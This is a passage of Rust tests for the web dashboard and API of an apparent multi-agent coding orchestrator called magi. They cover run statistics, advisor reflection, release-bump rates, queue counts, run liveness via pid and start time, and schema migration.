20424        assert!(APP_CSS.contains(".precision-scatter"));
20425    }
20426
20427    #[test]
20428    fn advisor_reflection_is_drawn_as_stacked_segments() {
20429        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
20430        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
20431        let html = include_str!("../assets/ui/index.html");
20432        assert!(html.contains("Approximate"));
20433        for label in ["reflected strongly", "faint", "no proposal"] {
20434            assert!(html.contains(label));
20435        }
20436        let css = include_str!("../assets/ui/app.css");
20437        for c in ["refl-strong", "refl-faint", "refl-absent"] {
20438            assert!(css.contains(&format!(".{c} {{")));
20439        }
20440    }
20441
20442    #[test]
20443    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
20444        assert!(APP_JS.contains("function statsDailyPlan("));
20445        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
20446        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
20447    }
20448
20449    #[test]
20450    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
20451        let start = APP_JS
20452            .find("function scheduleSearch(")
20453            .expect("scheduleSearch exists");
20454        let body = &APP_JS[start..];
20455        let body = &body[..body.find("\n}\n").expect("function end")];
20456        assert!(body.contains("s.seq += 1"));
20457    }
20458
20459    /// The dashboard reads every run's state itself rather than trusting a
20460    /// separately-maintained count, so an unreadable run must be counted the
20461    /// same way `/api/health` counts it - never silently dropped the way the
20462    /// CLI's own `stats::load_all` drops it.
20463    #[tokio::test]
20464    async fn stats_runs_unreadable_matches_health() {
20465        let f = Fixture::start().await;
20466        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
20467        let broken = f.runs().join("20260902-140502-bad");
20468        std::fs::create_dir_all(&broken).expect("run dir");
20469        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
20470
20471        let stats = f.get("/api/stats").await;
20472        let health = f.get("/api/health").await;
20473
20474        assert_eq!(stats.status, 200);
20475        assert_eq!(stats.json()["totals"]["runs"], 1);
20476        assert_eq!(stats.json()["runs_unreadable"], 1);
20477        assert_eq!(
20478            stats.json()["runs_unreadable"],
20479            health.json()["runs_unreadable"],
20480            "the dashboard and /api/health must never disagree about how many \
20481             runs could not be read"
20482        );
20483    }
20484
20485    #[tokio::test]
20486    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
20487        let f = Fixture::start().await;
20488        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
20489        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
20490        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
20491
20492        let totals = &f.get("/api/stats").await.json()["totals"];
20493        assert_eq!(totals["runs"], 3);
20494        assert_eq!(totals["merged"], 1);
20495        assert_eq!(totals["stalled"], 1);
20496        assert_eq!(totals["in_progress"], 1);
20497        // A stalled run must never read as blocked/merged/ready - it is its
20498        // own bucket, not folded into a "decided" one.
20499        assert_eq!(totals["blocked"], 0);
20500        assert_eq!(totals["ready"], 0);
20501    }
20502
20503    #[tokio::test]
20504    async fn stats_advisors_report_proposals_and_reflection() {
20505        use crate::advise::{Advice, AdvisorRecord, Reflection};
20506        use crate::verdict::Proposal;
20507
20508        let f = Fixture::start().await;
20509        let mut state = RunState::new(
20510            PathBuf::from("/repo/magi"),
20511            "main".to_owned(),
20512            "0123456789abcdef".to_owned(),
20513            "task".to_owned(),
20514            Config::default(),
20515        );
20516        state.id = "20260902-140501-a".to_owned();
20517        state.status = RunStatus::Merged;
20518        state.advice = Some(Advice {
20519            records: vec![
20520                AdvisorRecord {
20521                    seat: "advisor-1".to_owned(),
20522                    agent: "alpha".to_owned(),
20523                    proposal: Some(Proposal {
20524                        approach: "do it".to_owned(),
20525                        key_tradeoff: "speed over memory".to_owned(),
20526                        risks: Vec::new(),
20527                        touches: Vec::new(),
20528                        why_not_naive: "breaks under load".to_owned(),
20529                    }),
20530                    error: None,
20531                    duration_ms: 0,
20532                    reflection: Reflection::Strong,
20533                },
20534                AdvisorRecord {
20535                    seat: "advisor-2".to_owned(),
20536                    agent: "alpha".to_owned(),
20537                    proposal: None,
20538                    error: Some("timed out".to_owned()),
20539                    duration_ms: 0,
20540                    reflection: Reflection::Absent,
20541                },
20542            ],
20543            synthesis: Some("blended brief".to_owned()),
20544        });
20545        let dir = f.runs().join(&state.id);
20546        std::fs::create_dir_all(&dir).expect("run dir");
20547        std::fs::write(
20548            dir.join("run.json"),
20549            serde_json::to_string_pretty(&state).expect("serialize run"),
20550        )
20551        .expect("write run.json");
20552
20553        // `alpha` is in no roster here; this test is about the rates.
20554        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
20555        let alpha = advisors
20556            .as_array()
20557            .expect("an array")
20558            .iter()
20559            .find(|a| a["agent"] == "alpha")
20560            .expect("alpha row");
20561        assert_eq!(alpha["seated"], 2);
20562        assert_eq!(alpha["proposed"], 1);
20563        assert_eq!(alpha["absent"], 1);
20564        assert_eq!(alpha["strong"], 1);
20565        assert_eq!(alpha["faint"], 0);
20566        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
20567    }
20568
20569    #[tokio::test]
20570    async fn stats_hides_agents_outside_the_roster_unless_all() {
20571        use crate::run::Candidate;
20572        let repo = TempDir::new().expect("repo dir");
20573        std::fs::write(
20574            repo.path().join("magi.toml"),
20575            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
20576        )
20577        .expect("magi.toml");
20578        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
20579        let mut state = RunState::new(
20580            PathBuf::from("/repo/magi"),
20581            "main".to_owned(),
20582            "0123456789abcdef".to_owned(),
20583            "task".to_owned(),
20584            Config::default(),
20585        );
20586        state.id = "20260902-140501-a".to_owned();
20587        state.status = RunStatus::Merged;
20588        for (label, agent) in [('A', "keep"), ('B', "retired")] {
20589            let mut c: Candidate = serde_json::from_value(serde_json::json!({
20590                "index": 0, "label": label.to_string(), "agent": agent,
20591                "branch": "b", "worktree": "/w",
20592            }))
20593            .expect("candidate");
20594            c.label = label;
20595            state.candidates.push(c);
20596        }
20597        let dir = f.runs().join(&state.id);
20598        std::fs::create_dir_all(&dir).expect("run dir");
20599        std::fs::write(
20600            dir.join("run.json"),
20601            serde_json::to_string_pretty(&state).expect("serialize run"),
20602        )
20603        .expect("write run.json");
20604
20605        let agents_of = |v: &serde_json::Value| -> Vec<String> {
20606            v["agents"]
20607                .as_array()
20608                .expect("array")
20609                .iter()
20610                .map(|a| a["agent"].as_str().unwrap().to_owned())
20611                .collect()
20612        };
20613        let hidden = f.get("/api/stats").await.json();
20614        assert_eq!(agents_of(&hidden), ["keep"]);
20615        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
20616        assert_eq!(hidden["totals"]["runs"], 1);
20617
20618        let all = f.get("/api/stats?all=true").await.json();
20619        assert_eq!(agents_of(&all).len(), 2);
20620        assert_eq!(all["retired_hidden"], serde_json::json!([]));
20621        // Verify competitive and solo keys exist on agent entries
20622        let keep_agent = all["agents"]
20623            .as_array()
20624            .unwrap()
20625            .iter()
20626            .find(|a| a["agent"] == "keep")
20627            .unwrap();
20628        assert_eq!(keep_agent["competitive_entered"], 1);
20629        assert_eq!(keep_agent["competitive_wins"], 0);
20630        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
20631        assert_eq!(keep_agent["solo_entered"], 0);
20632        assert_eq!(keep_agent["solo_adopted"], 0);
20633        assert!(keep_agent["solo_adoption_rate"].is_null());
20634    }
20635
20636    #[tokio::test]
20637    async fn stats_release_bumps_split_clean_from_attention() {
20638        use crate::run::ReleaseBump;
20639
20640        let f = Fixture::start().await;
20641
20642        let mut clean = RunState::new(
20643            PathBuf::from("/repo/magi"),
20644            "main".to_owned(),
20645            "0123456789abcdef".to_owned(),
20646            "task".to_owned(),
20647            Config::default(),
20648        );
20649        clean.id = "20260902-140501-a".to_owned();
20650        clean.status = RunStatus::Merged;
20651        clean.release_bump = Some(ReleaseBump {
20652            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
20653            version: Some("1.0.0".to_owned()),
20654            automerge_enabled: true,
20655            merged_directly: false,
20656            local: false,
20657            release: None,
20658            problem: None,
20659            action_required: None,
20660            skipped: None,
20661        });
20662
20663        let mut blocked = RunState::new(
20664            PathBuf::from("/repo/magi"),
20665            "main".to_owned(),
20666            "0123456789abcdef".to_owned(),
20667            "task".to_owned(),
20668            Config::default(),
20669        );
20670        blocked.id = "20260902-140502-b".to_owned();
20671        blocked.status = RunStatus::Merged;
20672        blocked.release_bump = Some(ReleaseBump {
20673            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
20674            version: Some("1.0.1".to_owned()),
20675            automerge_enabled: false,
20676            merged_directly: false,
20677            local: false,
20678            release: None,
20679            problem: Some("checks red".to_owned()),
20680            action_required: Some("look at the PR".to_owned()),
20681            skipped: None,
20682        });
20683
20684        for state in [&clean, &blocked] {
20685            let dir = f.runs().join(&state.id);
20686            std::fs::create_dir_all(&dir).expect("run dir");
20687            std::fs::write(
20688                dir.join("run.json"),
20689                serde_json::to_string_pretty(state).expect("serialize run"),
20690            )
20691            .expect("write run.json");
20692        }
20693
20694        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
20695        assert_eq!(bumps["merged"], 2);
20696        assert_eq!(bumps["recorded"], 2);
20697        assert_eq!(bumps["pr_opened"], 2);
20698        assert_eq!(bumps["automerge_enabled"], 1);
20699        assert_eq!(bumps["needs_attention"], 1);
20700        assert_eq!(bumps["clean"], 1);
20701        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
20702        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
20703    }
20704
20705    #[tokio::test]
20706    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
20707        let f = Fixture::start().await;
20708        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
20709
20710        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
20711        assert_eq!(bumps["merged"], 1);
20712        assert_eq!(bumps["recorded"], 0);
20713        // `merged` is nonzero, so coverage still reads as a real 0%, not an
20714        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
20715        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
20716        // `pr_opened` and `recorded` are both zero here, so these rates have
20717        // no denominator to compute from and must be null.
20718        assert_eq!(bumps["automerge_rate"], Value::Null);
20719        assert_eq!(bumps["attention_rate"], Value::Null);
20720    }
20721
20722    #[tokio::test]
20723    async fn stats_queue_counts_come_from_the_live_queue() {
20724        let f = Fixture::start().await;
20725        let q = f.queue();
20726        let mut queued = Task::new(
20727            "queued task".to_owned(),
20728            "do it".to_owned(),
20729            PathBuf::from("/repo"),
20730            Source::Human,
20731        );
20732        q.put(&mut queued).expect("put queued");
20733        let mut held = Task::new(
20734            "held task".to_owned(),
20735            "do it later".to_owned(),
20736            PathBuf::from("/repo"),
20737            Source::Human,
20738        );
20739        held.hold_machine(Some("out of attempts".to_owned()));
20740        q.put(&mut held).expect("put held");
20741
20742        let queue = f.get("/api/stats").await.json()["queue"].clone();
20743        assert_eq!(queue["queued"], 1);
20744        assert_eq!(queue["held"], 1);
20745        assert_eq!(queue["running"], 0);
20746        assert_eq!(queue["done"], 0);
20747        assert_eq!(queue["failed"], 0);
20748        assert_eq!(queue["blocked"], 0);
20749    }
20750
20751    #[tokio::test]
20752    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
20753        let f = Fixture::start().await;
20754        let stats = f.get("/api/stats").await;
20755        assert_eq!(stats.status, 200);
20756        assert_eq!(stats.json()["totals"]["runs"], 0);
20757        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
20758        assert_eq!(stats.json()["runs_unreadable"], 0);
20759        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
20760        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
20761        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
20762        assert_eq!(stats.json()["repo"], Value::Null);
20763    }
20764
20765    #[tokio::test]
20766    async fn stats_lists_every_repository_with_runs_recorded() {
20767        let f = Fixture::start().await;
20768        write_run_repo(
20769            &f.runs(),
20770            "20260902-140501-a",
20771            RunStatus::Merged,
20772            "/repos/a",
20773        );
20774        write_run_repo(
20775            &f.runs(),
20776            "20260902-140502-b",
20777            RunStatus::Merged,
20778            "/repos/a",
20779        );
20780        write_run_repo(
20781            &f.runs(),
20782            "20260902-140503-c",
20783            RunStatus::Blocked,
20784            "/repos/b",
20785        );
20786
20787        let stats = f.get("/api/stats").await;
20788        assert_eq!(stats.status, 200);
20789        // Unfiltered - the aggregate across both repositories.
20790        assert_eq!(stats.json()["totals"]["runs"], 3);
20791        assert_eq!(stats.json()["repo"], Value::Null);
20792
20793        let repos = stats.json()["repos"].clone();
20794        let repos = repos.as_array().unwrap();
20795        assert_eq!(repos.len(), 2);
20796        // Busiest (2 runs) first.
20797        assert_eq!(repos[0]["repo"], "/repos/a");
20798        assert_eq!(repos[0]["name"], "a");
20799        assert_eq!(repos[0]["runs"], 2);
20800        assert_eq!(repos[1]["repo"], "/repos/b");
20801        assert_eq!(repos[1]["runs"], 1);
20802    }
20803
20804    #[tokio::test]
20805    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
20806        let f = Fixture::start().await;
20807        write_run_repo(
20808            &f.runs(),
20809            "20260902-140501-a",
20810            RunStatus::Merged,
20811            "/repos/a",
20812        );
20813        write_run_repo(
20814            &f.runs(),
20815            "20260902-140502-b",
20816            RunStatus::Blocked,
20817            "/repos/b",
20818        );
20819
20820        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
20821        assert_eq!(stats.status, 200);
20822        assert_eq!(stats.json()["totals"]["runs"], 1);
20823        assert_eq!(stats.json()["totals"]["merged"], 1);
20824        assert_eq!(stats.json()["repo"], "/repos/a");
20825        // The repository list itself is unaffected by the filter - it is
20826        // what a client switches repositories from.
20827        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
20828        // runs_unreadable is a whole-workload count, never scoped to the
20829        // selected repository - see StatsView::runs_unreadable's own doc.
20830        assert_eq!(stats.json()["runs_unreadable"], 0);
20831    }
20832
20833    #[tokio::test]
20834    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
20835        let f = Fixture::start().await;
20836        write_run_repo(
20837            &f.runs(),
20838            "20260902-140501-a",
20839            RunStatus::Merged,
20840            "/repos/a",
20841        );
20842        write_run_repo(
20843            &f.runs(),
20844            "20260902-140502-b",
20845            RunStatus::Merged,
20846            "/repos/b",
20847        );
20848
20849        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
20850            let json = f.get(uri).await.json();
20851            let daily = json["daily"].as_array().expect("daily is an array");
20852            assert_eq!(daily.len(), 30);
20853            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
20854            let mut sorted = dates.clone();
20855            sorted.sort();
20856            assert_eq!(dates, sorted);
20857            for d in daily {
20858                assert_eq!(
20859                    d["merged"].as_u64().unwrap()
20860                        + d["ready"].as_u64().unwrap()
20861                        + d["other"].as_u64().unwrap(),
20862                    d["runs"].as_u64().unwrap()
20863                );
20864            }
20865            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
20866        }
20867    }
20868
20869    #[tokio::test]
20870    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
20871        let f = Fixture::start().await;
20872        write_run_repo(
20873            &f.runs(),
20874            "20260902-140501-a",
20875            RunStatus::Merged,
20876            "/repos/a",
20877        );
20878
20879        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
20880        assert_eq!(stats.status, 404);
20881    }
20882
20883    #[tokio::test]
20884    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
20885        let f = Fixture::start().await;
20886        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
20887
20888        let summary = f.get("/api/runs").await.json();
20889        let row = &summary[0];
20890        assert_eq!(row["short"], "a1b2");
20891        assert_eq!(row["status"], "ready");
20892        assert_eq!(row["done"], true);
20893        assert_eq!(row["title"], "Add a web UI");
20894        assert_eq!(row["repo_name"], "magi");
20895        assert_eq!(row["judges"], 3);
20896        assert_eq!(row["winner"], Value::Null);
20897        assert_eq!(row["reviews"], 0);
20898
20899        // The short id resolves, and the detail route is the state itself, not
20900        // a projection of it: the UI reads fields the summary does not carry.
20901        let detail = f.get("/api/runs/a1b2").await;
20902        assert_eq!(detail.status, 200);
20903        assert_eq!(detail.json()["base_branch"], "main");
20904        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
20905    }
20906
20907    /// `status: "ready"` alone cannot tell a run still headed for a landing
20908    /// (a PR closed without merging, say) apart from one `[merge] mode =
20909    /// "none"` left unmerged for good — the confusion the operator flagged
20910    /// after the CLI report already grew a `not landed — nothing to do by
20911    /// design` line for exactly this case (`report.rs`). Both the list route
20912    /// and the detail route must carry a flag the phone can key on instead of
20913    /// re-deriving it from `status` + `merge.mode` itself.
20914    #[tokio::test]
20915    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
20916        let f = Fixture::start().await;
20917
20918        let mut none_run = RunState::new(
20919            PathBuf::from("/repo/magi"),
20920            "main".to_owned(),
20921            "0123456789abcdef".to_owned(),
20922            "Add a web UI".to_owned(),
20923            Config::default(),
20924        );
20925        none_run.id = "20260902-140503-none".to_owned();
20926        none_run.status = RunStatus::Ready;
20927        none_run.merge = Some(crate::run::MergeOutcome {
20928            mode: crate::config::MergeMode::None,
20929            ok: true,
20930            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
20931            empty: false,
20932        });
20933        write_state(&f.runs(), &none_run);
20934
20935        let mut pr_run = RunState::new(
20936            PathBuf::from("/repo/magi"),
20937            "main".to_owned(),
20938            "0123456789abcdef".to_owned(),
20939            "Add a web UI".to_owned(),
20940            Config::default(),
20941        );
20942        pr_run.id = "20260902-140504-prcl".to_owned();
20943        pr_run.status = RunStatus::Ready;
20944        pr_run.merge = Some(crate::run::MergeOutcome {
20945            mode: crate::config::MergeMode::Pr,
20946            ok: false,
20947            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
20948            empty: false,
20949        });
20950        write_state(&f.runs(), &pr_run);
20951
20952        let summary = f.get("/api/runs").await.json();
20953        let rows: std::collections::HashMap<&str, &Value> = summary
20954            .as_array()
20955            .expect("an array")
20956            .iter()
20957            .map(|r| (r["id"].as_str().expect("an id"), r))
20958            .collect();
20959        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
20960        assert_eq!(
20961            rows[none_run.id.as_str()]["unmerged_by_design"],
20962            true,
20963            "a mode-none Ready must be flagged in the list"
20964        );
20965        assert_eq!(
20966            rows[pr_run.id.as_str()]["unmerged_by_design"],
20967            false,
20968            "a Ready reached by a closed pull request is a different case"
20969        );
20970
20971        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
20972        assert_eq!(none_detail["status"], "ready");
20973        assert_eq!(none_detail["unmerged_by_design"], true);
20974
20975        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
20976        assert_eq!(pr_detail["unmerged_by_design"], false);
20977    }
20978
20979    /// `RunState::active` is only ever cleared by whoever populated it, so the
20980    /// detail route also has to say whether a daemon is actually still
20981    /// driving this run right now — otherwise a seat from a killed process's
20982    /// last wave would read as live forever.
20983    #[tokio::test]
20984    async fn run_core_survives_unavailable_related_stores() {
20985        let home = TempDir::new().unwrap();
20986        let ui = delta_test_ui(home.path());
20987        let state = RunState::new(
20988            PathBuf::from("/repo/magi"),
20989            "main".into(),
20990            "0123456789abcdef".into(),
20991            "Useful core instructions".into(),
20992            Config::default(),
20993        );
20994        let dir = ui.runs.join(&state.id);
20995        std::fs::create_dir_all(&dir).unwrap();
20996        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
20997        std::fs::write(ui.questions.root(), "unavailable").unwrap();
20998        std::fs::write(ui.queue.root(), "unavailable").unwrap();
20999        let core = run_core(State(ui.clone()), Path(state.id.clone()))
21000            .await
21001            .unwrap()
21002            .0;
21003        assert_eq!(core.state.instruction, state.instruction);
21004        assert_eq!(core.state.updated_at, state.updated_at);
21005        assert!(core.task.is_none());
21006        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
21007    }
21008
21009    #[tokio::test]
21010    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
21011        let f = Fixture::start().await;
21012        // Matches `write_daemon`'s hard-coded `current.run`, so the second
21013        // half of this test can claim the daemon is working on it without a
21014        // second helper.
21015        let id = "20260902-140502-bbbb";
21016        let mut state = RunState::new(
21017            PathBuf::from("/repo/magi"),
21018            "main".to_owned(),
21019            "0123456789abcdef".to_owned(),
21020            "Add a web UI".to_owned(),
21021            Config::default(),
21022        );
21023        state.id = id.to_owned();
21024        state.status = RunStatus::Judging;
21025        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
21026        let dir = f.runs().join(id);
21027        std::fs::create_dir_all(&dir).expect("run dir");
21028        std::fs::write(
21029            dir.join("run.json"),
21030            serde_json::to_string_pretty(&state).expect("serialize run"),
21031        )
21032        .expect("write run.json");
21033
21034        // No daemon.json at all, and no `driver_pid` recorded either (this
21035        // state was written directly, never through `execute()`): there is
21036        // nothing to confirm either way, so the route must say `"unknown"` —
21037        // never `"dead"`, which is exactly the false diagnosis a manual `magi
21038        // run` used to get from this route before `driver_pid` existed.
21039        let cold = f.get(&format!("/api/runs/{id}")).await.json();
21040        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
21041        assert_eq!(cold["live"], "unknown", "{cold}");
21042
21043        // A fresh heartbeat naming exactly this run: the same entry now reads
21044        // as confirmed, not merely recorded.
21045        write_daemon(f.home.path(), Timestamp::now());
21046        let warm = f.get(&format!("/api/runs/{id}")).await.json();
21047        assert_eq!(warm["live"], "live", "{warm}");
21048    }
21049
21050    #[test]
21051    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
21052        let home = tempfile::tempdir().expect("temp home");
21053        let runs = home.path().join("runs");
21054        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
21055            let mut state = RunState::new(
21056                PathBuf::from("/repo/magi"),
21057                "main".to_owned(),
21058                "0123456789abcdef".to_owned(),
21059                "Generated review context, not authored task criteria".to_owned(),
21060                Config::default(),
21061            );
21062            state.origin = origin;
21063            state.status = RunStatus::Blocked;
21064            // Earlier migrations must not infer these facts again.
21065            state.driver_exited = false;
21066            state.gate_ran = true;
21067            let expected = serde_json::to_value(&state).expect("serialize current state");
21068            let mut legacy = expected.clone();
21069            legacy["schema"] = serde_json::json!(13);
21070            legacy.as_object_mut().unwrap().remove("task_instruction");
21071            let dir = runs.join(&state.id);
21072            std::fs::create_dir_all(&dir).expect("run dir");
21073            let path = dir.join("run.json");
21074            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
21075            std::fs::write(&path, &body).expect("write legacy run");
21076
21077            for loaded in [
21078                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
21079                read_run(&runs, &state.id).expect("web migration"),
21080            ] {
21081                assert_eq!(loaded.schema, crate::run::SCHEMA);
21082                assert!(loaded.task_instruction.is_none());
21083                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
21084            }
21085            assert_eq!(runs_unreadable(&runs), 0);
21086            assert_eq!(std::fs::read(&path).unwrap(), body);
21087        }
21088    }
21089
21090    /// Where a run came from is shown, and a run written before origins were
21091    /// recorded (schema 12, no `origin` key) stays readable and says so.
21092    #[tokio::test]
21093    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
21094        let f = Fixture::start().await;
21095        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
21096            let mut state = RunState::new(
21097                PathBuf::from("/repo/magi"),
21098                "main".to_owned(),
21099                "0123456789abcdef".to_owned(),
21100                "Add a web UI".to_owned(),
21101                Config::default(),
21102            );
21103            state.id = id.to_owned();
21104            state.origin = origin;
21105            let mut value = serde_json::to_value(&state).expect("serialize run");
21106            if let Some(schema) = schema {
21107                value["schema"] = serde_json::json!(schema);
21108                value.as_object_mut().unwrap().remove("origin");
21109            }
21110            let dir = f.runs().join(id);
21111            std::fs::create_dir_all(&dir).expect("run dir");
21112            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
21113        };
21114        write(
21115            "20260930-092817-ec34",
21116            Some(crate::run::Origin::from_agent_env(
21117                Some(("4a7b".to_owned(), "chat".to_owned())),
21118                None,
21119            )),
21120            None,
21121        );
21122        write("20260930-092817-0ld1", None, Some(12));
21123
21124        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
21125        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
21126        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
21127
21128        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
21129        assert_eq!(
21130            old["origin_label"], "origin unknown (started before origins were recorded)",
21131            "{old}"
21132        );
21133        assert!(old["origin"].is_null(), "{old}");
21134
21135        let list = f.get("/api/runs").await.json();
21136        let labels: Vec<_> = list
21137            .as_array()
21138            .unwrap()
21139            .iter()
21140            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
21141            .collect();
21142        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
21143    }
21144
21145    #[tokio::test]
21146    async fn run_progress_observation_exposes_activity_without_control_evidence() {
21147        let f = Fixture::start().await;
21148        let mut state = RunState::new(
21149            PathBuf::from("/repo"),
21150            "main".into(),
21151            "abc".into(),
21152            "task".into(),
21153            Config::default(),
21154        );
21155        state.status = RunStatus::Implementing;
21156        state.seat_started(
21157            "implement",
21158            "implement-A",
21159            std::time::Duration::from_secs(60),
21160            0,
21161        );
21162        state.save_under(f.home.path()).unwrap();
21163        let observed = f
21164            .get(&format!("/api/runs/{}/progress", state.id))
21165            .await
21166            .json();
21167        assert_eq!(observed["id"], state.id);
21168        assert!(observed["observed_at"].is_string());
21169        assert_eq!(observed["updated_at"], state.updated_at.to_string());
21170        assert!(observed["progress"]["activity"].is_string());
21171        for field in [
21172            "config",
21173            "candidates",
21174            "land_approval",
21175            "task",
21176            "waiting",
21177            "done",
21178        ] {
21179            assert!(
21180                observed.get(field).is_none(),
21181                "progress must not expose control evidence: {field}"
21182            );
21183        }
21184    }
21185
21186    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
21187    /// review` claims no daemon at all, so before this field existed the
21188    /// route above read it as `"dead"` — indistinguishable from a run a
21189    /// killed process abandoned — the whole time it was genuinely still
21190    /// answering. With a live pid recorded, it must read `"live"` even
21191    /// though no daemon claims it.
21192    #[tokio::test]
21193    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
21194        let f = Fixture::start().await;
21195        let id = "20260922-090000-cccc";
21196        let mut state = RunState::new(
21197            PathBuf::from("/repo/magi"),
21198            "main".to_owned(),
21199            "0123456789abcdef".to_owned(),
21200            "Review only".to_owned(),
21201            Config::default(),
21202        );
21203        state.id = id.to_owned();
21204        state.status = RunStatus::Reviewing;
21205        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
21206        // This test process's own pid: guaranteed alive, and never needs a
21207        // real daemon or a second process to prove it. The matching start-time
21208        // marker is what `liveness` now requires alongside a live pid — see
21209        // `RunState::driver_started_at`'s own doc for why the pid alone is
21210        // not enough.
21211        state.driver_pid = Some(std::process::id());
21212        state.driver_started_at = Some(
21213            crate::proc::process_started_at(std::process::id())
21214                .expect("this test process's own start time must be queryable"),
21215        );
21216        let dir = f.runs().join(id);
21217        std::fs::create_dir_all(&dir).expect("run dir");
21218        std::fs::write(
21219            dir.join("run.json"),
21220            serde_json::to_string_pretty(&state).expect("serialize run"),
21221        )
21222        .expect("write run.json");
21223
21224        let detail = f.get(&format!("/api/runs/{id}")).await.json();
21225        assert_eq!(detail["live"], "live", "{detail}");
21226    }
21227
21228    /// A killed manual run's pid can be handed to a wholly unrelated later
21229    /// process — a live query on `driver_pid` alone would read this as
21230    /// `"live"`, exactly the false positive `driver_started_at` exists to
21231    /// catch (see that field's own doc, and `RunState::liveness_with`'s
21232    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
21233    #[tokio::test]
21234    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
21235        let f = Fixture::start().await;
21236        let id = "20260922-090100-dddd";
21237        let mut state = RunState::new(
21238            PathBuf::from("/repo/magi"),
21239            "main".to_owned(),
21240            "0123456789abcdef".to_owned(),
21241            "Review only".to_owned(),
21242            Config::default(),
21243        );
21244        state.id = id.to_owned();
21245        state.status = RunStatus::Reviewing;
21246        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
21247        // This test process's own pid really is alive, but the marker
21248        // recorded here does not match what it actually started at —
21249        // standing in for the pid having since been reused by a different
21250        // process than the one that wrote `run.json`.
21251        state.driver_pid = Some(std::process::id());
21252        state.driver_started_at = Some("1".to_owned());
21253        let dir = f.runs().join(id);
21254        std::fs::create_dir_all(&dir).expect("run dir");
21255        std::fs::write(
21256            dir.join("run.json"),
21257            serde_json::to_string_pretty(&state).expect("serialize run"),
21258        )
21259        .expect("write run.json");
21260
21261        let detail = f.get(&format!("/api/runs/{id}")).await.json();
21262        assert_eq!(detail["live"], "dead", "{detail}");
21263    }
21264
21265    /// The deck's competition list is normally the first place an operator
21266    /// sees an old run. It must carry the same process verdict as detail, or
21267    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
21268    #[test]
21269    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
21270        let mk = |id: &str, pid: Option<u32>| {
21271            let mut s = RunState::new(
21272                PathBuf::from("/repo/magi"),
21273                "main".to_owned(),
